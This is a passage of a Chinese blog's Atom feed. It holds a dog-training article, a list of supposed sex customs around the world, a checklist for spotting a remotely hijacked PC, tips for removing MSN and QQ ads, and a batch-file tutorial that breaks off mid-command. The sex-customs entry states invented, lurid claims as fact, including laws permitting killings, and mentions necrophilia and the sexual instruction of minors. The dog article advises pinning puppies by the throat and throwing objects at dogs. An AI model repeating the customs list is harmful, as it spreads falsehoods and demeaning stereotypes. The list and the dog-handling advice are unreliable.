散步时，狗一下子在这棵树上尿一下，又到那根电线杆去尿一下(尤其是公狗，似乎尿不完)，这种作记号的行为，大家一定都不会陌生。对狗而言，这种行为代表向众”狗”宣告，这是它的领域。这种昭告天下，宣示地盘的行为就好像人在发名片一样。这是狗的“权势本能”所导致的行为。如果饲主认为“做记号”是狗的天性，没有加以制止，放任爱犬为所郤为，会导至它的权势本能不断膨胀。而狗的权势本能和它的服从本能是成反比的。权势本能的增长，会导致服从本能的萎缩。“服从”并不是一味的压抑狗，虐待狗。其实，当狗在服从主人时，会感到到心情舒畅，可以在没有压力的情况下，安心的渡过每一天。当然饲主首先必须以深深的爱对待狗狗，爱犬才会对饲主产生服从。当狗的权势增长时，神经会随时处于紧张状态，导致压力产生。而且由于不听话，一定会对饲主造成很大的困扰。为了有益于爱犬的调教，在散步的过程中，饲主一定要掌握主控权，不要再让爱犬在散步时四处做记号，也可以保持环境卫生整洁。 <br/><br/>　　如果不幸地，你的爱犬每天定时会吵著你，或是装可爱，咬著炼子向你摇尾乞怜时， <br/>请坚定地加以拒绝，不要加以理睬，这样找回你权威，改变你和爱犬之间的从属关系。 <br/><br/>B. 吃饭规矩篇 <br/>　　我想，从小的健康教育根深蒂固的地灌输我们一个观念：“定时定量的饮食可以保持身体健康。”同样的道理拿到爱犬身上来应该一样适用，大部份饲主都会在固定的时间喂狗吃饭。而且通常都安排在饲主家人用餐前。一方面是不忍心爱犬饿肚子，另一方面，也可以避免它一旁吵闹，家人就可以好好享受一餐美食，但是这却可能是让狗变得“自以为是”的原因。 <br/><br/>　　野生的狼(狗)群会集体觅食，当捕捉到猎物时，它们会有以下的行动。首先，老大尽情的享受猎物，而其他的狗只能在旁乖乖耐心等待，绝对不可能发生围在猎物旁一起享用的情况。只有当获得老大的允许后，才会照顺序靠近猎物。这就是狗的猎食方式。因此，你的爱犬也会本能的认，可以最先吃饭代表周围的人认同“我是老大，所以我最先吃饭”长久下来，狗就会变的任性，不听从主人的话。因此，请纠正一下这种不良习惯，一开始，狗可能会吼叫或是紧跟在主人身后，但都必须硬下心来，绝对不能让步。狗的顺应性很强，只要一星期，就会知道“要在全家吃完饭后，才轮到我吃饭。”如此，才能使爱犬变得顺从和乖巧。 <br/><br/>　　饲主一定会发现，大部份的狗吃饭时，一定会一口气把食物一扫而空，几乎没有吞咽，就像吸尘器一样。因此，常常就会把喂食量增加，也因此有许多狗狗的身材就像吹气球一样变形了。其实这是狗的饮食天性，有句话叫做“狼吞虎咽”指的更是传神，野生的狗群今天猎捕到食物，下一餐不知道有没有著落，所以都是用抢的，用吞的。看看狗狗的牙齿也可以知道，狗的臼齿一样十分坚锐，没有磨合面，不可能像牛马一样细嚼慢咽。尖锐的牙帮助它们撕裂食物吞下。该喂多少量才是正常呢？如果你喂食的是乾狗粮，那么包装上一定会清楚地标示喂食的建议量，另一个方法是直接看狗的外形，保持有腰身，背部脊椎骨脊突不会太过明显，呼吸时仍然可以看见肋骨，这样就是优美的体形。不要每次别人看到你的狗狗都把他误认为是迷你猪，相信这样反而更没面子！ <br/><br/>　　喂狗吃什么的食物比较好呢？以前农业时代，相信大多数的狗主要食粮都是每家每户的“厨余”，剩什么吃什么，甚至有的吃都得偷笑了，现代人家庭生活都是早出晚归，平常都很少开伙，这时狗食很好的选择，尤其乾的狗粮又比湿性的罐头好，牙齿比较不会有残渣，不易生牙垢和牙结石。很多主人都怕光吃乾粮营养不够，其实乾饲料内容成分都经过精密的计算分析，其中各类成份蛋白质，矿物质(钙质)，碳水化合物，脂肪，维生素等都搭配得十分均衡。同时还依据不同生长时期的营养需求区分为幼犬用成犬用老犬用，甚至各种适合皮肤病肠胃炎等功能性处方饲料。只要选用合宜的狗食，就不会因为食物导致健康出问题。至于那一个牌子比较好？这就必须靠主人自己比较，价格不是唯一考量因素，而是要看看更换饲料后“排便量是不是变多了，变臭了？”如果是，就表示这个品牌内容品质不佳，杂质多不易吸收，才会造成排便量增加，不易凝固，有酸臭味，甚至连毛发都变得粗糙没有光泽，消瘦。更换品牌时，不要一下子全部换过，建议以一个星期的时间，慢慢的酌量增加更，可以避免肠胃道不适应产生下痢。 <br/><br/>　　最后一个有关饮食的困扰，是一天到底喂几餐才比较好呢？一直以来，身为兽医师，我都建议饲主定时定量这个观念，六个月以前的狗狗历经类似人类婴幼儿和青春期这两个阶段，出生时因肠胃消化功能未健全，四个月起因因快速生长，营养热量需求高，因此建议一天三餐，这一部份训练师的观点和我们是一致的。至于成犬以后由于生理学上所谓“生理时钟”的观念，我们认为如果吃饭时间到了没有进食，胃酸依然会分泌，长久下来会引发像胃溃疡等肠胃疾病，因此建议每天二餐，而且要定时定量。而训犬师则认为一天一餐就够了，他们认为狗和人类的身体本来就有著根本性的差异。野生的狗即使三天一次或是一个星期才好好吃上一餐，也仍然保持著旺盛的精力，因此宠物狗只要每天喂以一天的必需量，就完全不会让它“挨饿”。训犬师更出一些蛮有趣也有点道理的观点，介绍一天一餐好处，使那些“对爱犬充满感情”的饲主能接受。 <br/><br/>　　第一点，如果一天“供应”二餐，狗会变得“霸道、任性”。“即使早上不吃，反正晚上还可以吃”但当一天只供应一餐时，如果狗不吃，当天就没有其他东西可吃，于是，就可以养成它好好吃饭的习惯。当拿出狗食时，如果它狼吞虎咽的一下就吃完，喂食的工作也变得轻松简单。 <br/><br/>　　第二点，是排便的问题。只要吃饭，就会排便，如果喂狗吃二餐，就要进行二次排便管理。也就是说一天只吃一餐时，排便管理也更省事，你觉得有没有道理呢？我是觉得如果你的爱犬不会饿到两腿发昏，吐胃酸，倒是可以尝试看看。 <br/><br/>　　另外，就和不同固定时间散步的原理一样，训犬师也建议饲主，应该“有识的打乱吃饭时间”，将有助于饲主的领导力，这样狗就能瞭解，当主人拿出饲料来，就是吃饭时间，就不会在固定的时间吵闹，就算偶而天天没得吃，狗也能忍耐。如果常常外出旅行，狗也不会因为误餐而吵闹，破坏了大家游玩的兴致。 <br/><br/>　　训犬师也教导大家一种“一口餐饮法”，用来训练狗狗服从性，要诀是使用空的食具，放入一口的狗食。为狗装上狗链，当它想要去吃狗食时，默默的拉紧狗链，当它可以保持等待的状态时，对它来说“等一下”，数秒钟后再说“好”，同时放松狗，让它可以吃饭，持续重覆以上过程，喂足一餐的份量，如此，可以让狗体会到，是人在喂他吃饭，它必须顺从衣食父母。 <br/><br/>C. 大小便的训练 <br/>　　如厕训练也是饲主重要的课题之一。尤其在室内饲养时，如果没有确实做好如厕的训练，狗就会地排便排尿，让人大伤脑筋。有的人以为，让狗的厕所有尿的臭味，狗就会在那里如厕，世面上也有卖阿摩尼亚臭味的“引便液”。但是事实上，这种使用沾有尿臭味的报纸或厕纸让狗记住厕所的位置方法，几乎都会惨遭失败，因为狗不喜欢在沾有自己尿臭的地方尿尿。即使报纸和厕纸的表面已经乾了，只留下微乎其微的臭味，狗也会凭著自己锐的嗅觉，闻到这种异味认为“这里已经脏了”，就会到其他处所排泄。那么到底该如何进行如厕训练呢？秘诀在于狗的习性。 <br/><br/>　　野生的狗，在巢穴生产后，刚出生的小狗无法自行排尿，排便，母狗就会用舌头刺激小们的鼠蹊部，促进小狗的挑泄。同时，母狗会将小狗的粪尿舔乾净，以免弄脏巢穴。如果留下尿尿和便便的味道，会成为天敌的记号。因此，当小狗学会自行排尿，排便时，就会在远离巢穴的地方排泄，这是狗的基本习性。 <br/><br/>　　由这种习性可以瞭解到，厕所应该尽可能离狗的巢穴。“但家里养狗时，哪有什么巢穴？”有人一定会有这种疑问，现在许多人不管是养在阳台，庭院或是家里面，都是它在空间内自由活动，很少有人为狗做一个像样的狗屋，让狗可以在里面安心的休息。看过西洋电影或卡通的人一定对狗屋不陌生。狗窝就是在家里代替巢穴的地方。狗窝的设置与否，和小狗的如厕训练有很大的关系。为狗安排狗窝，然后厕所设置在距离狗窝稍壤的地方，当狗一离开狗窝时，就要先带它去厕所，让它如厕。一间始，即使对狗说“喂！赶快尿尿！”它也可能尿不出来。所以可以用铁丝将厕所围起，把起放在里面，在狗完成排泄之前，就一直将它关在铁丝网中，完成排泄后，才放它出来。平常可以让它在室内自由活动，但在饲主外出或晚上睡觉时，仍然要将它关进狗屋内。只要一离开狗屋，就要带它去厕所排泄。在不断的练习后，狗就会产生条件反射，只要一带它去厕所，就会立刻排尿排便。当可以做到这一点时，就不需要铁丝网了。之前提到过，使用没有狗的尿臭的东西没有任何意义，因此，在狗排泄后要立刻换上乾净的报纸和垫子，这才是正确的如厕教育。相信各位已经有所瞭解，要点在于要将狗屋和厕所分开，在狗离开狗屋时，要立刻带它去厕所，使它对这一系列的行动产生制约，训犬师认为，如厕教育失败时，百分之一百的原因是在于让狗在室内自由自在的活动。让狗在房子里面“居无定所”，其实是让它们缺乏自己的私人空间。或许有人认为让爱犬在房间内自由自在的活动，就可以减少压力的产生，其实却相反，由于缺乏可以安心休息的场所，会使狗产生极大的精神压力。对狗而言，房间整体都是它的地盘，所以它必须持续警戒和防卫的本能，否则领域就会受到侵犯。因此，一旦有陌生人来到家中，像邮差，送瓦斯，送报生等，狗就不停地狂叫，甚至攻击。如果从小就给它一个可以安心的窝，那么即使门铃响了，甚至打雷，狗都可以置之不理。 <br/><br/>　　有些人认为，当狗狗随地大小时时，一定要立刻付责，要压住它的头去闻臭味，教训它，让它知道不可以随地大小便。但事实上，这是天大的错误，虽然狗遭到处罚，但是它不可能明白人类的到道理，不可能反省自己不能随地大小便。狗会认为“如果尿尿的话，一定会被打骂，所以必须一直忍耐著。”因此，逼迫狗去闻自己的尿尿，可能会有暂时性的效果，但其实只是因为狗觉得“太可怕了”而忍耐著而已，一段时间以后，又会再次随地大小便。正确的方法是，立刻将狗带到其他房间，饲主默默地将尿液清洁乾净，去除臭味。大部份无法学会正确大小的原因都是因为让狗在房间内自由活动，没有固定的狗屋所致。确实地找到原因，才是根本的解决之道。 <br/><br/>D. 教育训练要从小做起 <br/>　　对狗狗而言，出生后1~3个月期间，是十分重要的社会化驯化时期，狗的性情大多决定在这个时期。这个年纪对周围的环境有著浓厚的兴趣，适应性也最强，容易和人类建立良好的关系，并培养出温驯的性格，但因为台湾流浪狗多，传染病严重，这时候小狗大多都还没有接受完整的疫苗基础注射，因此兽医师多半都会建议尽量避免外出和其他狗或人类接触，防止受到传染病感。但就调教的立场看来，在这假社会化驯化期中，如果整天关在家里，会对个性带来负面的影响。外出时，并不一定需要装上狗，让狗自行走路，无论抱在怀里或是放入狗篮中都无妨，带它外出让陌生人抱抱小狗，或抚摸小狗，可以帮助它适应人类社会，长大后才不会一出门就紧张得发抖，看到陌生人或其他狗就会露出警戒心。 <br/><br/>　　抚摸是建立良好关系的根本，是人和狗沟通的开始，很多不喜欢清耳朵或剪指甲，或是被人触碰破尾巴等部位，是因为从小没有养成被抚摸过习惯，而出于保护自我脆弱部位的本能。许多人都曾经抚摸过狗的头部和背部，但这并不是正确的抚摸方式。正确的方法是所谓“露出鼠蹊部”，把小狗压倒在地，四脚朝天，用力制压住它的喉咙，并告诉它“趴下”，再慢慢摸它的耳朵、尾巴、脚尖、嘴等部位。这行为是模仿母狗教育小狗的方式。当母狗想要制御小狗的行为时，就会让小狗四脚朝天，再按住小狗的喉咙，虽然小狗无法分办好坏，却可以藉由母的“制御”行为，判断善恶。这种“露出鼠蹊部摸摸法，是调教的基本。如果狗会凶，不让人抚摸，还可以利用狗食帮忙训练，一面喂以狗食，一面触摸它的身体，这样狗就能瞭解到，只要有人摸自己的身体，就可以吃到狗食，当身体被触摸时，会有好事发生，就会开放禁止触摸的区域。” <br/><br/>　　如果狗已经有不好的习惯，例如门铃响时，不停的吠叫，散步进行中，随便乱捡东西吃；看到其他狗，拼命的吠叫……是不是用打骂的方法来纠正它？相信大多数的人认为，狗听不懂人话，惟有体罚让它“痛定思痛”，才能达到教训的目的。事实上，这是错误的想法，打骂只会令狗产生“敌对”和“恐惧”，而且，它只会记住被打的事实(记忆力好的狗更可能记恨一辈子！！)，而不会记得被打的原因。而且，当你在斥责它时，你激昂的语气听起来反而像是在声援它，它只会叫的更起劲，而你只会把自己搞的筋疲力尽。正确的方式是不加理睬和不付出爱，“不说话”“视线不接触”，创迼一个令狗“痛苦”的状况，才能让饲主重新掌握领导力，使狗狗服从，建立正确的主从关系。 <br/><br/>　　如果还是无奏效，那么就得使出“上天的惩罚法”。这个方法的关键在于“视线”，如果看著狗狗正面教训它，就代表“对决”的意思，会激起它的反抗之心。但是如果不正眼看它，利用拉扯狗，用卷起的报纸或装了少许的水的宝特瓶丢它，使它不舒服来制约它的行为，但是因为你没有正眼看著它，所以它没有敌对的对像，它会觉得被狗拉扯等不舒服是来自上天的惩罚，就不会对人类不信任。之前提到的“带领散步”的方法，也是利用同样的原理。为了使狗和人类建立良好的关系，这种方法十分重要，千万牢记，绝对不能看它一眼。 <br/><br/>　　除了掌握领导力以外，在训练过程中，称赞也十分重要。当狗做的很好时，就要直接了当的称赞你做的很棒！服从本能强的狗就会认为主人称赞我了，下次要做什么，才能让主人称赞？我要更加努力。棍子和胡萝卜必须恩威并施，才能有相辅相成的效果。训练狗完成服从行动时，立刻说声好棒，并摸摸它的和喉咙，在狗心中会有幸福的感觉，对进一步的训练有帮助。 <br/><br/>　　这些都是训犬师依据狗的天性，而设计出的训练小技巧。希望爱狗的你，能让你的狗更听话，真情的付出绝对是成功的关键，但是如果因不瞭解过度溺爱，因而使小狗骄纵不听话，即使再有爱心的饲主，有一天也会受不了。如果每个人能从幼犬时期把狗调教好，应该会减少一些流浪狗的问题。]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.cq-hacker.com/default.asp?id=98" /> 
	  <id>http://www.cq-hacker.com/default.asp?id=98</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[世界各地怪异的性习俗]]></title>
	  <author>
		 <name>摄影师</name>
		 <uri>http://www.cq-hacker.com/</uri>
		 <email>pengxiaohao@hotmail.com</email>
	  </author>
	  <category term="" scheme="http://www.cq-hacker.com/default.asp?cateID=10" label="五花八门" /> 
	  <updated>2008-07-08T10:19:51+08:00</updated>
	  <published>2008-07-08T10:19:51+08:00</published>
		  <summary type="html"><![CDATA[1、西伯利亚女人都会用身体招待客人，玩完一夜之后，女人就会要求旅客用自己小便漱口，肯漱口的话就是贵宾，不肯的就是全族的敌人，用小便漱口换一夜欢愉，到底值不值得呢？<br/><br/>2、尼日利亚某些地方，女孩如果一旦破处，必须找证人鉴证，证人不是人人可以做，一定要由两个充满性经验的女人担任。从做爱方式到破处流多少血全部都要记录在案，做完后还要研究鉴证处女膜的厚度。<br/><br/>3、法属圭亚那的新娘不好做，因为新郎的整个家族男丁都有权利同新娘做爱，直至做到新娘当妈妈为止，要寻找儿子的亲生爸爸都恐怕相当困难。<br/><br/>4、哥伦比亚一乡下地方，结婚洞房当晚新郎要有心理准备当众表演，因为法例容许新娘的妈妈站在隔壁监视，如做得不好的话，可会实时指导，岳母大人站在隔壁，那你还有没有兴趣做呢？<br/><br/>5、乌拉圭，男人绝对不可以要求老婆月经期间做爱，违者一律要坐监，那样是否很惨？每个月要禁五至七日。不过法律不外乎人情，这段日子男人可以名正言顺去召妓，只要不超过二百次就可以，二百次？试问有那个男人可以七日之内做二百次呢？<br/><br/>6、在波兰某小城市，男人如果出去鬼混的话就要特别小心，因为这里容许女人合法杀死同自己老公上床的女人，不过就限定只可以用棒打死，用刀用枪赤手空拳都不能，如果放好所有棒状物体才去鬼混，会不会比较安全呢。<br/><br/>7、塔斯曼尼亚，如果老公死了，寡妇必须切去老公「小兄弟」，防腐风干后制成颈链挂在颈上度一段日子，直至找到新的男人为止，但寡妇绝对不可以用这个好兄弟自慰，因为觉得是对死人的侮辱。<br/><br/>8、以娶处女为耻：在乌干达部落内，如果哪个部落首领纳一个处女为妃，那他会遭到所有族人的羞辱。更为有趣的是：部落中还专门设有“采妃使者”一个差事，这名“不幸”的“差人”业余从事一项“苦差”：与新妃交合。部落的人们认为，被采过的新娘才更纯洁。<br/><br/>9、古印度人尸交媾：古时候的印度如果在婚礼前未婚妻不幸去世，那么她的新郎官择要完成自己铁定的职责——同死去的未婚妻交媾。更让人耸人听闻的事还在后头：事逢这百年不遇的天赐良机，全村人便会聚在一起，举行一个隆重的仪式，人尸交媾粉墨登场！<br/><br/>10、印度：不知“通奸”为何物今天，在印度语词汇库内，一直就没有“通奸”这个词汇，原因是：在古印度，男女任何一方婚后寻花问柳都是可以被人们接受的。<br/><br/>11、居住在爱尔兰海岸的伊尼斯比格族人真称的上是性压抑的受害者。上天赐予他们的性器官，他们看来只不过是传宗接待时借来用用罢了，用完之后赶紧放回原处，多用一会儿，都不行。如果说：女性也有性高潮，他们瞪大的眼球不把你吓死才怪呢！<br/><br/>12、西瓦族：给小姐食男精女性朋友们，当您漫游北非，有西瓦族男人请您共同进餐时，对方送的食物千万要当心呀，因为那里的男人由一个风俗：把自己的男精偷偷抹在食物上，给小姐吃了，那小姐就会认为他魅力无穷！<br/><br/>13、东南亚农村：金银塞入包皮下。<br/><br/>14、西瑞诺族：肥胖美人 南美玻利维亚有一支西瑞诺民族，这里的族人有自己别具一格的审美标准：肥胖。西瑞诺民族一位学者评价道：“我们民族内对美人的评价主要有两个标准，其一是肥胖，其二是年轻。满足这两个要求的女性才能得到我们男族人的恩宠。<br/><br/>15、缅甸男子：跨下有铃铛 跨下有铃铛，走路听脆响。当他们在大街上溜达时，随时都能听到叮尔铛的脆响，这可真是消除寂寞的良方。<br/><br/>16、所罗门群岛：任何人都不允许“自摸”。<br/><br/>17、南美洲：兄弟姐妹胡乱搞 有些民族内，配偶被赋予权力和自己的兄弟姐妹等同辈亲属发生性关系，也就是说丈夫可以和妻子的姐妹，妻子可以和丈夫的兄弟发生性关系。<br/><br/>18、库克群岛：未成年人性技高 当库克群岛的男孩子到达青春期时，就会有专人负责教授给这些青年必要的绝技。<br/><br/>19、海达特撒族：妹妹代姐性服务 看看这里的男人受到了什么样的优待：当海达特撒族孕妇到达临产最后一段时期并且不能和其丈夫进行正常房事时，她实在舍不得丈夫的“干火空烧”，干脆就请来自己的胞姐或胞妹暂时“帮忙”对付一阵子。]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.cq-hacker.com/default.asp?id=97" /> 
	  <id>http://www.cq-hacker.com/default.asp?id=97</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[检查自己的电脑是否成为别人的“肉鸡”]]></title>
	  <author>
		 <name>摄影师</name>
		 <uri>http://www.cq-hacker.com/</uri>
		 <email>pengxiaohao@hotmail.com</email>
	  </author>
	  <category term="" scheme="http://www.cq-hacker.com/default.asp?cateID=6" label="电脑安全" /> 
	  <updated>2008-07-07T11:21:24+08:00</updated>
	  <published>2008-07-07T11:21:24+08:00</published>
		  <summary type="html"><![CDATA[所谓“<a href="http://www.cq-hacker.com" target="_blank">电脑</a>肉鸡”，是中了木马、或者留了后门，被别人拥有远程管理权限的<a href="http://www.cq-hacker.com" target="_blank">电脑</a>，也就是受别人控制的远程<a href="http://www.cq-hacker.com" target="_blank">电脑</a>。肉鸡可以是各种系统,如win,linux,unix等，甚至可能是公司\企业\学校甚至是政府军队的服务器。 <br/><br/>　　谁都不希望自己的<a href="http://www.cq-hacker.com" target="_blank">电脑</a>被他人控制，但是很多人的<a href="http://www.cq-hacker.com" target="_blank">电脑</a>是几乎不设防的，很容易被远程攻击者完全控制。你的<a href="http://www.cq-hacker.com" target="_blank">电脑</a>就因此成为别人砧板上的肉，别人想怎么吃就怎么吃，肉鸡(机)一名由此而来。<br/><br/>　　下面我们介绍一些“肉鸡”<a href="http://www.cq-hacker.com" target="_blank">电脑</a>的症状，提醒网友遇到这些现象时，要注意检查。<br/><br/>　　现象1：QQ、MSN的异常登录提醒<br/><br/>　　你在登录QQ时，系统提示上一次的登录IP和你完全不相干。比如，你明明就只在上海的家里上过，QQ却提醒你上一次登录地点在沈阳。<br/><br/>　　还有，当你登录MSN时，可能有朋友给你发消息，问你刚发了什么，你却很清楚自己从未给这个朋友发过什么消息。<br/><br/>　　现象2：<a href="http://www.cq-hacker.com" target="_blank">网络</a>游戏登录时发现装备丢失或和你上次下线时的位置不符，甚至用正确的密码无法登录<br/><br/>　　很显然，你没有登录这个游戏的时候，别人替你登录过。<br/><br/>　　现象3：有时会突然发现你的鼠标不听使唤，在你不动鼠标的时候，鼠标也会移动，并且还会点击有关按钮进行操作<br/><br/>　　你没动，那就是有人在动。注意，这种鼠标的移动轨迹和性能差光电鼠标自动漂移明显不同。你就能感觉到，这是有人在动你的<a href="http://www.cq-hacker.com" target="_blank">电脑</a>。<br/><br/>　　现象4：正常上网时，突然感觉很慢，硬盘灯在闪烁，就象你平时在COPY文件<br/><br/>　　这种情况很可能是攻击者在尝试COPY你的文件，在大量COPY文件时，磁盘的读写明显会增加，系统也会变慢。此时，你应该毫不犹豫地拔掉网线，立即检查你的系统进程是否异常。<br/><br/>　　现象5：当你准备使用摄像头时，系统提示，该设备正在使用中<br/><br/>　　完了，攻击者已经在盗用你的摄像头了，这种情况下，摄像头的工作状态是不可见的。<br/><br/>　　强烈建议你不用摄像头时，把镜头给盖上，攻击者看到黑乎乎的影像时，自然会明白是什么问题。<br/><br/>　　现象6：在你没有使用<a href="http://www.cq-hacker.com" target="_blank">网络</a>资源时，你发现网卡灯在不停闪烁。如果你设定为连接后显示状态，你还会发现屏幕右下角的网卡图标在闪<br/><br/>　　正常情况下，当你少用或不用<a href="http://www.cq-hacker.com" target="_blank">网络</a>资源时，网卡的闪烁会不明显，通过<a href="http://www.cq-hacker.com" target="_blank">网络</a>传递的数据流量也不会太高。]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.cq-hacker.com/default.asp?id=96" /> 
	  <id>http://www.cq-hacker.com/default.asp?id=96</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[去除MSN里讨厌的广告]]></title>
	  <author>
		 <name>摄影师</name>
		 <uri>http://www.cq-hacker.com/</uri>
		 <email>pengxiaohao@hotmail.com</email>
	  </author>
	  <category term="" scheme="http://www.cq-hacker.com/default.asp?cateID=4" label="软件应用" /> 
	  <updated>2008-07-07T11:04:50+08:00</updated>
	  <published>2008-07-07T11:04:50+08:00</published>
		  <summary type="html"><![CDATA[QQ、MSN上的广告让我们感受很不舒服，QQ的广告，你还可以不用QQ用TM版本，那MSN怎么办呢？下面介绍的MSN去除广告的方法适合Windows系统。<br/><br/>　　去除MSN广告<br/><br/>　　MSN，聊天对话框和主面板，都有button广告和搜索条，笔记已经测试通过。<br/><br/>　　首先，找到Live Messenger的安装目录，一般是C:Program FilesMSN Messenger，找到msgsres.dll文件，用ResHacker或者Restorator（下载）等编辑dll文件的软件打开。<br/><br/>　　1、去除聊天对话框广告：打开4004-920号资源，查找里面的id=atom(adbannergutter)，将其前面的layoutpos=bottom改为layoutpos=none。<br/><br/>　　2、去除MSN主面板广告：打开4004-923号资源，查找里面的ID=Atom(SSConstrainer)，将其前面的layoutpos=top改为layoutpos=none。<br/><br/>　　3、去除Live Messenger的搜索条：找到4004-923号资源，将上边的”layoutpos=bottom”改成”layoutpos=none”<br/><br/>　　改好后记得要保存，重新启动MSN广告没有了吧。]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.cq-hacker.com/default.asp?id=95" /> 
	  <id>http://www.cq-hacker.com/default.asp?id=95</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[用防火墙拦截QQ广告]]></title>
	  <author>
		 <name>摄影师</name>
		 <uri>http://www.cq-hacker.com/</uri>
		 <email>pengxiaohao@hotmail.com</email>
	  </author>
	  <category term="" scheme="http://www.cq-hacker.com/default.asp?cateID=4" label="软件应用" /> 
	  <updated>2008-07-07T11:03:13+08:00</updated>
	  <published>2008-07-07T11:03:13+08:00</published>
		  <summary type="html"><![CDATA[用过官方原版QQ的都知道，QQ的广告十分烦人，尤其是聊天窗口上的广告，晃来晃去的特别胀眼睛，你即便是将其广告文件夹删除，眨眼之间就能下载，既使将升级程序也删除，只要一登录QQ，它就会自动检测升级程序，一旦发现升级程序损坏，不论你是否同意，它都能自动下载并修复升级程序。 <br/><br/>　　若是QQ会员，还可以屏蔽QQ广告，迷你首页也可以在个人设置中，点击“系统设置—登录设置”，在会员登录设置项中将“显示腾讯网迷你首页”前面的钩去掉，在聊天或工作中不再弹出广告或迷你首页窗口。 <br/><br/>　　那么，不是腾讯的QQ会员的难道就不能屏蔽QQ广告和迷你首页了？下面就以腾讯官方的QQ2007Ⅱ为例，现在的<a href="http://www.cq-hacker.com" target="_blank">电脑</a>中基本上都安装杀毒软件与防火墙等安全软件，防火墙作用主要是阻止非法(<a href="http://www.cq-hacker.com" target="_blank">网络</a>病毒)访问与<a href="http://www.cq-hacker.com" target="_blank">网络</a>攻击，保障我们的<a href="http://www.cq-hacker.com" target="_blank">网络</a>安全。那么能不能让防火墙也做点兼职工作?既然防火墙能阻止非法的<a href="http://www.cq-hacker.com" target="_blank">网络</a>访问，那么合法的访问不就更容易阻止了? <br/><br/>　　先打开QQ安装文件(默认的安装路径是在C:\Program FilesTencent文件中，如果找不到的话也可以在桌面上右击QQ图标，选择‘属性’，在打开的属性窗口中，点击‘快捷方式’标签，在目标框中显示的就是QQ 的文件所在位置，打开QQ文件夹，找到名为“AD(有时是大写也有时是小写)”和“Dat”的文件夹，右击鼠标，执行删除，再找到QQexternal.exe(迷你新闻首页的程序)文件夹也将其删除。 <br/><br/>　　打开防火墙(以风云防火墙为例)，点击“应用程序规则”，在打开的“应用程序规则”中，在窗口下方点击“增加规则”，在弹出的“增加应用程序规则”窗口中，在文件下点击“选择”，在弹出的“选择要增加的程序”窗口中，点击我的<a href="http://www.cq-hacker.com" target="_blank">电脑</a>，按照QQ的安装路径打开QQ文件夹，依次打开并选择“QQLiveUp&#100;ate、QQMusicUp&#100;ate、QQUp&#100;ateCenter、Timwp”升级程序，将“TCP协议连接”下的“允许对外TCP协议连接”前面的钩去掉，并将“UDP协议发送数据”下面的“允许对外UDP协议发送数据”前面的钩也去掉，将“本地TCP协议端口监听及本地UDP协议端口监听”选择禁止，在“不符合以上条件时”框中选择“拦截操作”，之后点击“确定”即可。如有必要也可以将“QQLiveUp&#100;ate、QQMusicUp&#100;ate、QQUp&#100;ateCenter、Timwp”升级程序删除。这样每当我们登录QQ后，QQ会自动检测QQ程序，此时防火墙就会拦截QQ程序的访问，当防火墙拦截到QQ程序访问时，可选择“允许”，而当防火墙拦截到QQ发送数据时，应选择“禁止”。 <br/><br/>　　当QQ检测到其广告程序损坏后，会自动修复(升级)广告程序，由于我们在防火墙中将“QQLiveUp&#100;ate、QQMusicUp&#100;ate、QQUp&#100;ateCenter、Timwp”这几个升级程序进行了拦截，所以QQ程序并不能升级其程序，也就是说不能下载更新其广告程序了，我们聊天时的窗口也就清爽了许多。 <br/><br/>　　QQ目录中还有一个是QQDoctor文件夹，是QQ医生文件，如果你要是嫌QQ医生烦人，可以直接删除。最好是用超级兔子的智能卸载程序卸载，这样比直接删除，文件清除更干净。]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.cq-hacker.com/default.asp?id=94" /> 
	  <id>http://www.cq-hacker.com/default.asp?id=94</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[BAT—批处理教程]]></title>
	  <author>
		 <name>摄影师</name>
		 <uri>http://www.cq-hacker.com/</uri>
		 <email>pengxiaohao@hotmail.com</email>
	  </author>
	  <category term="" scheme="http://www.cq-hacker.com/default.asp?cateID=4" label="软件应用" /> 
	  <updated>2008-07-03T14:21:27+08:00</updated>
	  <published>2008-07-03T14:21:27+08:00</published>
		  <summary type="html"><![CDATA[BAT—批处理教程<br/><br/>这是一篇技术性的文章，写这篇教程的目的，是让每一位爱计算机，爱编程的朋友能够得到帮助，满足自己对知识的渴望！<br/><br/>先概述一下批处理的定义。批处理，也称为批处理脚本，英文译为BATCH，批处理文件后缀BAT就取的前三个字母。它的构成没有固定格式，只要遵守以下这条就ok了：每一行可视为一个命令，每个命令里可以含多条子命令，从第一行开始执行，直到最后一行结束，它运行的平台是DOS。批处理有一个很鲜明的素点：使用方便、灵活，功能强大，自动化程度高。要学好批处理，DOS基础一定要牢！当然脑子灵活也是很重要的一方面。<br/><br/>例一、先给出一个最简单的批处理脚本让大家和它混个脸熟，将下面的几行命令保存为name.bat然后执行（以后文中只给出代码，保存和执行方式类似）：<br/><br/>ping sz.tencent.com &gt; a.txt<br/>ping sz1.tencent.com &gt;&gt; a.txt<br/>ping sz2.tencent.com &gt;&gt; a.txt<br/>ping sz3.tencent.com &gt;&gt; a.txt<br/>ping sz4.tencent.com &gt;&gt; a.txt<br/>ping sz5.tencent.com &gt;&gt; a.txt<br/>ping sz6.tencent.com &gt;&gt; a.txt<br/>ping sz7.tencent.com &gt;&gt; a.txt<br/>exit<br/><br/>是不是都能看的懂？是不是很简单？但它的作用却是很实用的，执行这个批处理后，可以在你的当前盘建立一个名为a.txt的文件，它里面记录的信息可以帮助你迅速找到速度最快的QQ服务器，从而远离“从服务器中转”那一痛苦的过程。这里&gt;的意思，是把前面命令得到的东西放到后面所给的地方，&gt;&gt;的作用，和&gt;的相同，区别是把结果追加到前一行得出的结果的后面，具体的说是下一行，而前面一行命令得出的结果将保留，这样可以使这个a.txt文件越来越大（想到如何搞破坏了？？）。另外，这个批处理还可以和其他命令结合，搞成完全自动化判断服务器速度的东东，执行后直接显示速度最快的服务器IP，是不是很爽？后面还将详细介绍。<br/><br/>例二、再给出一个已经过时的例子（a.bat）：<br/><br/>@echo off<br/>if exist C:\Progra~1\Tencent\AD\*.gif del 